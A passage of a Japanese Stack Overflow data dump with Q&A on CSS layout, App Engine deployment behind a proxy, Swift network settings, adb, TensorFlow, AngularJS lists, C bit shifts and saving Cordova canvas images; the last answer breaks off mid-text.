"body": "HTML / CSSでは子要素のサイズが確定しないことには親要素のサイズを決定できません。そのため親要素を`height:\n0px`と仮定してレイアウトされたために子要素の`top: 50%`も`0px`として扱われたのでしょう。\n\n```\n\n body { height: 300px; }\n \n```\n\nのように明示的な指定があれば、子要素の`top: 50%`も効きます。 \n`left: 50%`が効く理由も同様に親要素が`width:\n100%`を仮定されているためです。子がインライン要素の場合に横幅いっぱいに敷き詰められてから折り返されるのもこのためです。\n\n* * *\n\n各ブラウザーは通常は標準準拠モードで動作しますが、古いhtmlを正常に表示するために互換モード(Quirksモード)を持っている場合があります。H.Mayuさん及びmjyさんが言及されていますが、Google\nChromeの場合、html先頭に`<!DOCTYPE\nhtml>`宣言がなされていないと互換モードに切り替わり、今回のように`height`の仮定される値が変わるようです。\n\nなお、Internet Explorer 10以降のように`<!DOCTYPE\nhtml>`宣言がなされていなくても互換モードに切り替わらないブラウザーもありますし、互換モードによってどのような違いが生じるかもまちまちですので、互換モードの使用は避け、そのためにも必ず`<!DOCTYPE\nhtml>`宣言を付けることをお勧めします。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T07:45:16.477",
"id": "32019",
"last_activity_date": "2017-01-21T13:39:54.790",
"last_edit_date": "2017-01-21T13:39:54.790",
"last_editor_user_id": "4236",
"owner_user_id": "4236",
"parent_id": "32010",
"post_type": "answer",
"score": 9
}
]
| 32010 | 32019 | 32019 |
{
"accepted_answer_id": "32045",
"answer_count": 1,
"body": "初歩的な質問となります。\n\n<https://cloud.google.com/appengine/docs/go/quickstart> \nにそって、AppEngineSDKを使ってhelloworldをデプロイしようとしているのですが\n\ngoapp deploy -application [YOUR_PROJECT_ID] -version [YOUR_VERSION_ID] . \nを実行すると下記のエラーが表示されてしまいます。\n\n```\n\n 03:55 PM Application: swift-network-123456789 (was: None); version: go1 (was: None)\n 03:55 PM Host: appengine.google.com\n Traceback (most recent call last):\n File \"C:\\go_appengine\\appcfg.py\", line 133, in \n run_file(__file__, globals())\n File \"C:\\go_appengine\\appcfg.py\", line 129, in run_file\n execfile(_PATHS.script_file(script_name), globals_)\n File \"C:\\go_appengine\\google\\appengine\\tools\\appcfg.py\", line 5510, in \n main(sys.argv)\n File \"C:\\go_appengine\\google\\appengine\\tools\\appcfg.py\", line 5501, in main\n result = AppCfgApp(argv).Run()\n File \"C:\\go_appengine\\google\\appengine\\tools\\appcfg.py\", line 2975, in Run\n self.action(self)\n File \"C:\\go_appengine\\google\\appengine\\tools\\appcfg.py\", line 5157, in __call__\n return method()\n File \"C:\\go_appengine\\google\\appengine\\tools\\appcfg.py\", line 3889, in Update\n self._UpdateWithParsedAppYaml(appyaml, self.basepath)\n File \"C:\\go_appengine\\google\\appengine\\tools\\appcfg.py\", line 3910, in _UpdateWithParsedAppYaml\n updatecheck.CheckForUpdates()\n File \"C:\\go_appengine\\google\\appengine\\tools\\sdk_update_checker.py\", line 245, in CheckForUpdates\n runtime=runtime))\n File \"C:\\go_appengine\\google\\appengine\\tools\\appengine_rpc_httplib2.py\", line 246, in Send\n url, method=method, body=payload, headers=headers)\n File \"C:\\go_appengine\\lib\\httplib2\\httplib2\\__init__.py\", line 1584, in request\n (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)\n File \"C:\\go_appengine\\lib\\httplib2\\httplib2\\__init__.py\", line 1332, in _request\n (response, content) = self._conn_request(conn, request_uri, method, body, headers)\n File \"C:\\go_appengine\\lib\\httplib2\\httplib2\\__init__.py\", line 1274, in _conn_request\n raise ServerNotFoundError(\"Unable to find the server at %s\" % conn.host)\n httplib2.ServerNotFoundError: Unable to find the server at appengine.google.com\n error while running appcfg.py: exit status 1\n \n```\n\n当方は認証付きproxy環境であり、proxy設定が読み込めていないのではないかと考えておりますが、 \ngoappへproxy設定を読み込ませるにはどのようにしたらよろしいでしょうか。 \n・GCP上でAppEngineのプロジェクトは作成済みで、GCP上でのサンプルコードのビルドは成功しております \n・ローカルPCはwindows7\n32bit環境で環境変数http_proxy/https_proxyにhttp://user:password@addr:portはセット済となります。 \n・gcloud initは成功しているのでこちらのコマンドはproxy設定が反映されていると思います。\n\nその他不足情報ありましたら、ご指摘お願いします。\n\n* * *\n\n追記:\n\n<https://code.google.com/p/googleappengine/issues/detail?id=9533> \nのエントリを参考に\n\n```\n\n ./lib/httplib2/httplib2/__init__.py\n def __init__(self, proxy_type, proxy_host, proxy_port,\n - proxy_rdns=None, proxy_user=None, proxy_pass=None):\n + proxy_rdns=True, proxy_user=None, proxy_pass=None):\n \n```\n\nと修正したら、一応成功しました。 \nただ、scriptを編集してしまっており、正攻法ではない気がします。 \nコマンドのオプションや設定等の修正方法ありましたらご教示お願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T07:07:59.560",
"favorite_count": 0,
"id": "32017",
"last_activity_date": "2017-01-21T18:57:50.947",
"last_edit_date": "2017-01-20T12:20:58.130",
"last_editor_user_id": "19716",
"owner_user_id": "19716",
"post_type": "question",
"score": 1,
"tags": [
"google-app-engine",
"google-cloud"
],
"title": "proxy環境下でCloudへのデプロイに失敗する",
"view_count": 1061
} | [
{
"body": "おそらく、httplib2のバージョンが古いために発生する問題かと思います。 \n(httplib2のバージョン2 0.9以前で発生すると思われます。) \n現在は、Python2、Python3用、いずれも、proxy_rdnsのデフォルトはTrueになったようです。\n\n[httplib2のソース\n(Python3用)](https://github.com/httplib2/httplib2/blob/master/python3/httplib2/__init__.py) \n[httplib2のソース\n(Python2用)](https://github.com/httplib2/httplib2/blob/master/python2/httplib2/__init__.py)\n\n> proxy_rdns: If True (default), DNS queries will not be performed \n> locally, and instead, handed to the proxy to resolve. This is useful \n> if the network does not allow resolution of non-local names. In \n> httplib2 0.9 and earlier, this defaulted to False.\n```\n\n class ProxyInfo(object):\n ・・・\n def __init__(self, proxy_type, proxy_host, proxy_port, proxy_rdns=True, proxy_user=None, proxy_pass=None, proxy_headers=None):\n \n```\n\n* * *\n\n古いと思われる[ソース](https://github.com/GoogleChrome/chromium-\ndashboard/blob/master/scripts/httplib2/__init__.py)を見ると、proxy_rdnsがNone(旧デフォルト値)の場合は、 \nプロキシ用のホストやポートが取得できないバグがあったようですので、 \n(アップデート前であれば)質問で提示されている対応で正しいかと思います。\n\n該当箇所:\n\n```\n\n class HTTPConnectionWithTimeout(httplib.HTTPConnection):\n ・・・\n if use_proxy and proxy_rdns:\n host = proxy_host\n port = proxy_port\n else:\n host = self.host\n port = self.port\n \n```",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T18:57:50.947",
"id": "32045",
"last_activity_date": "2017-01-21T18:57:50.947",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "10572",
"parent_id": "32017",
"post_type": "answer",
"score": 2
}
]
| 32017 | 32045 | 32045 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "SwiftでmacOS上で動作するアプリを製作しています。\n\nそこに画像[1](https://i.stack.imgur.com/6k2Km.png)に示した赤枠の部分である、現在選択されている「ネットワーク環境」の名称を取得したいです。\n\nSSIDの取得は以下のコードで取得できました。\n\n```\n\n import CoreWLAN\n \n let SSID_Name : String = {\n return CWWiFiClient()?.interface(withName: nil)?.ssid() ?? \"\"\n }()\n \n```\n\n以上のようなコードで試行錯誤をしてみましたが、わかりませんでした。\n\nネットで探してもそれらしい情報が見つかりません。 \n何か方法がありましたら、ご教示願いたいです。 \nよろしくお願いします。\n\n[](https://i.stack.imgur.com/6k2Km.png)",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T07:40:34.313",
"favorite_count": 0,
"id": "32018",
"last_activity_date": "2017-07-21T18:04:45.583",
"last_edit_date": "2017-07-21T18:04:45.583",
"last_editor_user_id": "754",
"owner_user_id": "20317",
"post_type": "question",
"score": 0,
"tags": [
"swift",
"xcode",
"macos"
],
"title": "SwiftでmacOSの「ネットワーク環境」の名前を取得する方法",
"view_count": 359
} | [
{
"body": "実際の情報はこちらにあるようです。\n\n```\n\n /Library/Preferences/SystemConfiguration/preferences.plist\n \n```\n\nSystemConfigurationで調べてみると、いくつかAppleの公式ドキュメントが見つかります。\n\n[System Configuration Programming\nGuidelines](https://developer.apple.com/library/content/documentation/Networking/Conceptual/SystemConfigFrameworks/SC_RevHistory/SC_RevHistory.html#//apple_ref/doc/uid/TP40001065-CH211-BAJDAJDJ)\n\nAPI Reference\n[SystemConfiguration](https://developer.apple.com/reference/systemconfiguration)\n\n[SCNetworkConfiguration](https://developer.apple.com/reference/systemconfiguration/1655031-scnetworkconfiguration)\n\npreferences.plistの中では`Sets`なんてところに実際のデータがあったので、ここら辺が怪しそうです。\n\n> Configuring Network Sets\n>\n> [`func\n> SCNetworkSetCopyAll(SCPreferences)`](https://developer.apple.com/reference/systemconfiguration/1517220-scnetworksetcopyall) \n> Returns all available sets for the specified preferences session.\n\n他のAPI関数も試行錯誤で試してみると、こんなコードでうちのMac(10.11.5)のネットワーク環境(Location:)の名称が取得できました。\n\n```\n\n import Foundation\n import SystemConfiguration\n \n //デフォルトのシステム設定(SCPreferences)を取得する\n let prefs = SCPreferencesCreate(nil, \"process-name\" as CFString, nil)!\n //システム設定から[SCNetworkSet]を取得する\n if let sets = SCNetworkSetCopyAll(prefs) as? [SCNetworkSet] {\n for set in sets {\n //SCNetworkSetからユーザ定義名称を取得する\n let userDefinedName = SCNetworkSetGetName(set) as String?\n print(userDefinedName ?? \"*no name*\")\n }\n } else {\n print(\"cannot get [SCNetworkSet] from this preference: \\(prefs)\")\n }\n \n```\n\nSandBox環境ではどうなるのかまでは試していませんが、以上ご参考までに。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T11:52:31.267",
"id": "32027",
"last_activity_date": "2017-01-20T11:52:31.267",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "13972",
"parent_id": "32018",
"post_type": "answer",
"score": 2
}
]
| 32018 | null | 32027 |
{
"accepted_answer_id": null,
"answer_count": 2,
"body": "例えば`com.myapp`という名前のパッケージのアプリがAndroid端末にインストールされているとして、このアプリのバージョン番号(`versionCode`もしくは`versionName`)をadbコマンドで取得することはできますか?",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T09:36:49.337",
"favorite_count": 0,
"id": "32021",
"last_activity_date": "2017-01-20T09:53:02.130",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "450",
"post_type": "question",
"score": 0,
"tags": [
"android",
"adb"
],
"title": "adbコマンドでインストールされているアプリのバージョンを取得するには",
"view_count": 12550
} | [
{
"body": "以下でどうでしょうか?\n\n```\n\n adi shell dumpsys package com.myapp\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T09:52:53.397",
"id": "32022",
"last_activity_date": "2017-01-20T09:52:53.397",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20272",
"parent_id": "32021",
"post_type": "answer",
"score": 2
},
{
"body": "```\n\n adb shell dumpsys package packages\n \n```\n\nを実行すると各Packageの情報が表示されますので \nその中のversionCode/versionnameを参照することで確認可能です。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T09:53:02.130",
"id": "32023",
"last_activity_date": "2017-01-20T09:53:02.130",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "19716",
"parent_id": "32021",
"post_type": "answer",
"score": 1
}
]
| 32021 | null | 32022 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "機械学習は入力データの法則、特徴、パターンを見出す仕組みですが、 \n教師あり機械学習の場合、教師データはどのような意図(法則、特徴、パターン)を持って作られたものでしょうか?\n\n例えば\n\n```\n\n 1 0 0 0 0\n 0 1 0 0 0\n 0 1 0 0 0 → 0 1 0 0 0\n 0 0 1 0 0\n 0 0 0 0 1\n 入力データ 答えデータ\n \n 1 0 0 0 0\n 0 0 1 0 0\n 0 0 1 0 0 → 0 0 0 1 0\n 0 0 0 1 0\n 0 0 0 0 1\n 入力データ 答えデータ\n \n```\n\nがトレーニングのデータとしてあった場合、入力データが\n\n```\n\n 1 0 0 0 0\n 0 1 0 0 0\n 0 0 1 0 0 \n 0 0 0 0 1\n 0 0 0 0 1\n \n```\n\nだった時の答えはどうである可能性が高いのかを学習して求めたいです。\n\n麻雀で、自摸って来た時の14枚の牌から1枚捨てるというのなので、 \n完璧な法則はないですが、ある程度の法則はあります。 \n(説明が難しくて日本語が変で申し訳ありません)\n\n```\n\n import input_data\n mnist = input_data.read_data_sets('MNIST_data', one_hot=True)\n \n import tensorflow as tf\n sess = tf.InteractiveSession()\n \n x = tf.placeholder(tf.float32, shape=[None, 25])\n y_ = tf.placeholder(tf.float32, shape=[None, 5])\n \n W = tf.Variable(tf.zeros([25,5]))\n b = tf.Variable(tf.zeros([5]))\n \n sess.run(tf.initialize_all_variables())\n \n y = tf.nn.softmax(tf.matmul(x,W) + b)\n \n def weight_variable(shape):\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial)\n \n def bias_variable(shape):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n \n def conv2d(x, W):\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n \n def max_pool_2x2(x):\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n \n W_conv1 = weight_variable([5, 5, 1, 32])\n b_conv1 = bias_variable([32])\n \n x_image = tf.reshape(x, [-1,5,5,1])\n \n h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)\n h_pool1 = max_pool_2x2(h_conv1)\n \n W_conv2 = weight_variable([5, 5, 32, 64])\n b_conv2 = bias_variable([64])\n \n h_conv2 = tf.nn.relu(conv2d(h_conv1, W_conv2) + b_conv2)\n h_pool2 = max_pool_2x2(h_conv2)\n \n W_fc1 = weight_variable([5 * 5 * 64, 512])\n b_fc1 = bias_variable([512])\n \n h_pool2_flat = tf.reshape(h_conv2, [-1, 5*5*64])\n h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\n \n keep_prob = tf.placeholder(tf.float32)\n h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n \n W_fc2 = weight_variable([512, 5])\n b_fc2 = bias_variable([5])\n \n y_conv = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)\n \n cross_entropy = -tf.reduce_sum(y_*tf.log(y_conv))\n train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\n correct_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y_,1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n sess.run(tf.initialize_all_variables())\n \n for i in range(10000):\n batch = mnist.train.next_batch(500)\n if i%100 == 0:\n train_accuracy = accuracy.eval(feed_dict={\n x:batch[0], y_: batch[1], keep_prob: 1.0})\n print(\"step %d, training accuracy %g\"%(i, train_accuracy))\n train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5})\n \n print(\"test accuracy %g\"%accuracy.eval(feed_dict={\n x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0}))\n \n```",
"comment_count": 7,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T10:34:04.323",
"favorite_count": 0,
"id": "32025",
"last_activity_date": "2017-01-20T14:08:59.160",
"last_edit_date": "2017-01-20T14:08:59.160",
"last_editor_user_id": "3054",
"owner_user_id": "20294",
"post_type": "question",
"score": 0,
"tags": [
"python",
"tensorflow"
],
"title": "Tensorflow で5*5の配列を受け取り、学習して1*5の答えを出力したい",
"view_count": 657
} | [
{
"body": "(5,5)を入力するのはサンプルで、本当にやりたいのは麻雀の手持ち14牌×種類数34であることは理解しました。\n\nまずコードの方はご提示のコードで何が不都合なのでしょうか? \nエラーが出るのでしょうか?訓練が進まないのでしょうか?\n\nまた、サンプルの例の方にしてもやはり学習データと答えの関連がないように思えます。 \n(5,5)に設定する場合は、例えばスートがなく数字が1~5しかないトランプでポーカーをした場合に何を捨てるかという問題にできますが、ご提示の例ですと \n[1,2,2,3,5]と持っていた場合2を捨てるのが正解 \n[1,3,3,4,5]と持っていた場合4を捨てるのが正解 \nと法則がないように思えます。(前者がストレート狙いで、後者がスリーカード狙い?このような複雑さがあるのであれば学習データはかなりの量必要かと思います。) \nただ、この点に関してはここで議論してもラチがあかないので学習データが本当に正しいかを見直してくださいとしか言えません。 \nMNISTのコードそのままであり、入力を変えただけならば学習データが妥当ならば(この問題に対してMNISTのネットワークが最適とはいえませんが)それなりの学習は行うはずです。\n\nまた本当に設定したい問題は \n34種類とりうる14個の入力の中から、適切な1個を選ぶなので(14,34)となりますが、 \nであれば入力は14*34を(MNISTにならうのであれば)flattenした(476)の大きさになるはずです。 \n※(34)も萬子、筒子、索子、字牌の(4,9)のtensorに分けた方がいいと思いますが・・・風と三元牌の足りない部分は不使用で\n\nまた、答えデータは(34)もしくは(14)の大きさのtensorになるはずです。 \n(34)⇒34種類のウチどの牌がすてられたか \n(14)⇒手持ちの14牌のウチどの牌がすてられたか\n\ntensorflowはニューラルネットワークを自分で設計するPlatformになりますが、 \nネットワークの設計自体をご理解されていないように見えます。 \nまずはコーディングに入らず、ネットワークの勉強をされてはいかがでしょうか。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T11:31:55.423",
"id": "32026",
"last_activity_date": "2017-01-20T11:50:47.190",
"last_edit_date": "2017-01-20T11:50:47.190",
"last_editor_user_id": "19716",
"owner_user_id": "19716",
"parent_id": "32025",
"post_type": "answer",
"score": 4
}
]
| 32025 | null | 32026 |
{
"accepted_answer_id": "32040",
"answer_count": 2,
"body": "Angularを使用して、アコーディオン展開出来るリストを作成しています。 \n以下の様な静的なリストでは実現できています。\n\n```\n\n <ons-list-header ng-click=\"flag = !flag\">TITLE</ons-list-header>\n <ons-list-item ng-show=\"flag\">item1</ons-list-item>\n <ons-list-item ng-show=\"flag\">item2</ons-list-item>\n <ons-list-header ng-click=\"flag2 = !flag2\">TITLE</ons-list-header>\n <ons-list-item ng-show=\"flag2\">item1</ons-list-item>\n <ons-list-item ng-show=\"flag2\">item2</ons-list-item>\n \n```\n\nこれを、ng-repeatで動的に作成しようとすると、上手く行きません。 \n配列には、[部署、氏名、年齢、性別]が入っています。 \n配列を繰り返す中で、部署が同一だった場合、部署が乗ったヘッダーを作成し、クリックした際に展開して表示するにはどうしたらいいでしょうか?\n\n```\n\n <ons-list>\n <div ng-repeat=\"item in items\">\n <ons-list-header ng-click=\"flag = !flag\" ng-if=\"items[$index - 1].Busho != item.Busho\">{{item.Busho}}</ons-list-header>\n <ons-list-item ng-show=\"flag\">{{item.Name}}</ons-list-item>\n </div>\n </ons-list>\n \n```\n\nためしに上記で作成しました。 \n全て部署名のリストが完成しました。 \nクリックすると全部展開されるとおもいきや、全く反応しません。\n\nよろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T12:27:46.547",
"favorite_count": 0,
"id": "32028",
"last_activity_date": "2017-01-21T08:11:57.563",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "19752",
"post_type": "question",
"score": 0,
"tags": [
"javascript",
"monaca",
"angularjs"
],
"title": "neRepeatで繰り返すなかで、アコーディオンを作成する",
"view_count": 254
} | [
{
"body": "そのままの配列を使用して作成しようとすると難しくなりそうです。 \n一度配列を以下のように表示しやすく変換してみると良いかもしれません。\n\n以下のような配列があるとして、部署名をキーとして抜き出した新しい配列を作成する。\n\n```\n\n $scope.items = [\n {Busho: \"A部署\", Name: \"Aさん\", Old: 28, Sex: \"男性\"},\n {Busho: \"A部署\", Name: \"Bさん\", Old: 56, Sex: \"男性\"},\n {Busho: \"A部署\", Name: \"Cさん\", Old: 24, Sex: \"女性\"},\n {Busho: \"B部署\", Name: \"Dさん\", Old: 32, Sex: \"女性\"},\n {Busho: \"B部署\", Name: \"Eさん\", Old: 44, Sex: \"男性\"},\n ]\n \n // 変換処理(本題からは逸れるため変換処理は記載しません。)\n $scope.bushoArray = convertBushoArray($scope.items);\n \n // 変換後の配列\n // $scope.bushoArray = [\n // {key: \"A部署\", array: [\n // {Busho: \"A部署\", Name: \"Aさん\", Old: 28, Sex: \"男性\"},\n // {Busho: \"A部署\", Name: \"Bさん\", Old: 56, Sex: \"男性\"},\n // {Busho: \"A部署\", Name: \"Cさん\", Old: 24, Sex: \"女性\"},\n // ]},\n // {key: \"B部署\", array: [\n // {Busho: \"B部署\", Name: \"Dさん\", Old: 32, Sex: \"女性\"},\n // {Busho: \"B部署\", Name: \"Eさん\", Old: 44, Sex: \"男性\"},\n // ]},\n // ]\n \n```\n\nhtmlは以下のような感じでしょうか。 \n動作確認しておりませんので、そのままでは動かないかもしれませんが参考になれば。\n\n```\n\n <ons-list>\n <div ng-repeat=\"bushoItem in bushoArray\">\n <ons-list-header ng-click=\"bushoItem.show = !bushoItem.show\" >{{bushoItem.key}}</ons-list-header>\n <ons-list-item ng-show=\"bushoItem.show\" ng-repeat=\"item in bushoItem.array\">{{item.Name}}</ons-list-item>\n </div>\n </ons-list>\n \n```\n\n補足: \n変換処理はfilterとして作成すればもっと見やすくなると思います。 \nfilterの作成方法についても本題とは異なるため記載しませんが、必要あれば別の質問としてあげてください。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T00:52:11.893",
"id": "32033",
"last_activity_date": "2017-01-21T01:01:54.810",
"last_edit_date": "2017-01-21T01:01:54.810",
"last_editor_user_id": "20272",
"owner_user_id": "20272",
"parent_id": "32028",
"post_type": "answer",
"score": 0
},
{
"body": "`ng-repeat`ごとに`scope`が生成されるため、`ng-\nclick`の`flag`への代入はそれぞれの`scope`のプロパティとして処理されるようです。\n\n[Ng-click doesn't work inside ng-\nrepeat](https://stackoverflow.com/questions/16736804/ng-click-doesnt-work-\ninside-ng-repeat)\n\nちなみに、下記のコードを実行すると、各行単位で`flag`が動作していることがわかります。\n\n```\n\n <ons-list>\n <div ng-repeat=\"item in items\">\n <ons-list-header ng-click=\"flag = !flag\">{{item.Busho}} {{flag}}</ons-list-header>\n <ons-list-item ng-show=\"flag\">{{item.Name}}</ons-list-item>\n </div>\n </ons-list>\n \n```\n\n次に、掲載したコードのような形で`ons-list`内で`div`タグを使用すると、`Onsen\nUI`の`CSS`の関係で表示に問題を抱える場合があります。\n\nデータが部署ごとに並んでいることが前提で、コントローラ内で`ons-list-header`,`ons-list-item`を生成すれば、`ng-\nrepeat`や`CSS`の問題を解決することができます。\n\n**HTML**\n\n```\n\n <ons-list id=\"list\">\n </ons-list>\n \n```\n\n**JavaScript**\n\n```\n\n $scope.items = [ // データ\n { Busho: \"A部署\", Name: \"Aさん\", Old: 28, Sex: \"男性\" },\n { Busho: \"A部署\", Name: \"Bさん\", Old: 56, Sex: \"男性\" },\n { Busho: \"A部署\", Name: \"Cさん\", Old: 24, Sex: \"女性\" },\n { Busho: \"B部署\", Name: \"Dさん\", Old: 32, Sex: \"女性\" },\n { Busho: \"B部署\", Name: \"Eさん\", Old: 44, Sex: \"男性\" }\n ];\n $scope.flag = []; // 部署フラグ\n \n var bushoId = 0; // 部署ID\n var bushoName = \"\"; // 部署名\n var elem = document.getElementById(\"list\");\n for (var i = 0; i < $scope.items.length; i++) {\n // 部署が一致しない場合\n if (bushoName != $scope.items[i].Busho) {\n // 部署フラグ設定\n $scope.flag.push(false);\n // 部署ID取得\n bushoId = $scope.flag.length - 1;\n // 部署名取得\n bushoName = $scope.items[i].Busho;\n // ons-list-header追加\n var header = document.createElement(\"ons-list-header\");\n header.setAttribute(\"ng-click\", \"flag[\" + bushoId + \"] = !flag[\" + bushoId + \"]\");\n header.innerHTML = bushoName;\n elem.appendChild(header);\n }\n // ons-list-item追加\n var item = document.createElement(\"ons-list-item\");\n item.setAttribute(\"ng-if\", \"flag[\" + bushoId + \"]\");\n item.innerHTML = $scope.items[i].Name;\n elem.appendChild(item);\n }\n ons.compile(elem);\n \n```",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T08:02:13.797",
"id": "32040",
"last_activity_date": "2017-01-21T08:11:57.563",
"last_edit_date": "2017-05-23T12:38:55.307",
"last_editor_user_id": "-1",
"owner_user_id": "9566",
"parent_id": "32028",
"post_type": "answer",
"score": 0
}
]
| 32028 | 32040 | 32033 |
{
"accepted_answer_id": "32031",
"answer_count": 1,
"body": "<https://github.com/ARMmbed/mbed-events/blob/master/equeue/equeue.c> \nのequeue_clampdiff()という関数に、下記のコードがあるのですが、\n\n```\n\n return ~(diff >> (8*sizeof(int)-1)) & diff;\n \n```\n\nこの処理の意図していることがわかりません。sizeof(int) ==\n4の環境が前提だと思うので、diffは常に31ビット右シフトすることになります。それを反転して&。何が何やら・・・。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T17:16:05.787",
"favorite_count": 0,
"id": "32029",
"last_activity_date": "2017-01-20T18:35:09.990",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "17238",
"post_type": "question",
"score": 0,
"tags": [
"c"
],
"title": "mbed-events equeue_clampdiff()の実装について",
"view_count": 64
} | [
{
"body": "負の数を右シフトしたときの動作は未規定で、コンパイラによって違っていても構わないのですが、算術右シフトにしている処理系が多いようなので、ここでもそうだと仮定します。\n\n結論からいうと、`diff` が正または 0 なら、そのまま返し、負だったら 0 を返す、というのが意図だと思います。\n\n算術右シフトは一番左の符号ビットを残したままシフトしていきます。`8*sizeof(int)-1` は、int のビット数 - 1\nなので、その分、右にシフトすると、全てのビットが符号ビットと同じになります。つまり正の数なら 0、負の数なら全てのビットが 1 (0xFFFFFFFF)\nになります。これを反転して & すれば、結論のようになります。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-20T18:35:09.990",
"id": "32031",
"last_activity_date": "2017-01-20T18:35:09.990",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "3605",
"parent_id": "32029",
"post_type": "answer",
"score": 1
}
]
| 32029 | 32031 | 32031 |
{
"accepted_answer_id": null,
"answer_count": 2,
"body": "スマホ向けアプリをhtml5で作っています。 \nアプリの中でCanvasを使って画像を作成していまして、その画像をiOSのカメラロールに保存する方法が分かりません。 \n(描写は出来ています)\n\n[お絵描きアプリと画像の保存処理の実装](http://blog.asial.co.jp/1313)\n\nこちらを参考に保存は出来ましたが、保存ディレクトリが希望の物になりません。 \n(このディレクトリだとサンドボックス内に保存されるので、見ることが出来ません)\n\nInAppBrowser にてロングタップによる保存を試してみましたが、アプリブラウザ(_blank)では保存出来ませんでした。 \nブラウザの種類をOS依存で表示させてみようと、targetに_systemを指定すると、「既にログインされています。ログアウトして再度QRコードを読み取って下さい」と意味不明なポップアップがデます。\n\nどうすればいいでしょうか。分かる方ご教授願います。\n\n**追記** \n色々試した結果、外部リンクのURLにbase64(バイナリ?)を指定するとおかしくなるようです。 \nBlob等で試してみましたが、結果は変わらず、同様のポップアップが出るだけでした。 \nこれは仕様なのでしょうか?",
"comment_count": 0,
"content_license": "CC BY-SA 4.0",
"creation_date": "2017-01-20T17:46:23.917",
"favorite_count": 0,
"id": "32030",
"last_activity_date": "2022-07-11T03:03:50.363",
"last_edit_date": "2020-01-31T07:10:45.280",
"last_editor_user_id": "2238",
"owner_user_id": "20324",
"post_type": "question",
"score": 0,
"tags": [
"javascript",
"angularjs",
"cordova",
"html5-canvas"
],
"title": "Canvasで作った画像をカメラロールに保存する",
"view_count": 5979
} | [
{
"body": "以下のプラグインを使用されてみてはいかがでしょうか \n<https://github.com/quiply/SaveImage>\n\n追記 \nリンク先のExampleそのままですが、以下のように使用します。\n\n```\n\n window.cordova.plugins.imagesaver.saveImageToGallery(\n サンドボックス内に保存した画像のファイルパス,\n onSaveImageSuccess, onSaveImageError);\n \n function onSaveImageSuccess() {\n console.log('--------------success');\n }\n \n function onSaveImageError(error) {\n console.log('--------------error: ' + error);\n }\n \n```",
"comment_count": 5,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T00:06:37.553",
"id": "32032",
"last_activity_date": "2017-01-21T00:58:45.893",
"last_edit_date": "2017-01-21T00:58:45.893",
"last_editor_user_id": "20272",
"owner_user_id": "20272",
"parent_id": "32030",
"post_type": "answer",
"score": 0
},
{
"body": "どうして保存できないのか現状をもう少し説明してください。 \nErrorなどコンソールは確認していますか? \nそれとも未着手状態で方法が分からないのでしょうか?\n\n* * *\n\n1.DataURLが発行できない場合 \nこちら合成する素材は外部リソースでしょうか? \n保存するためにはCanvasからgetImageDataやtoDataURLを使用するかと思いますが、 \nCanvasのセキュリティの仕様でソースが存在する元と違うドメインのリソースを読み込んだ場合、 \nSecurityErrorが発生し取得することが出来なくなります。\n\n[同一生成元ポリシー](https://developer.mozilla.org/ja/docs/Web/Security/Same-\norigin_policy)\n\nですので[FileTransfer](https://cordova.apache.org/docs/en/latest/reference/cordova-\nplugin-file-transfer/)を使用して外部をリソースをダウンロードし、 \n同一オリジンに持ってきた後で合成してはいかがでしょう? \n(もしくは画像編集・生成のプラグインを使用してネイティブ側で操作するか…)\n\n* * *\n\n2.保存方法について \n保存方法についてはプラグインを使用する方法と \nDataURLからブラウザを開きユーザに保存させる方法の2種類があります。\n\nプラグインについては既に出ているようなので \n(※他にも[こんなプラグイン](https://github.com/devgeeks/Canvas2ImagePlugin)もありますが) \nユーザに保存させる方法ですが、 \nデフォルトの動作として作成したアプリはロングタップでメニューが出ないようになっていたかと思います。 \n(META辺りに書いていたような気がします) 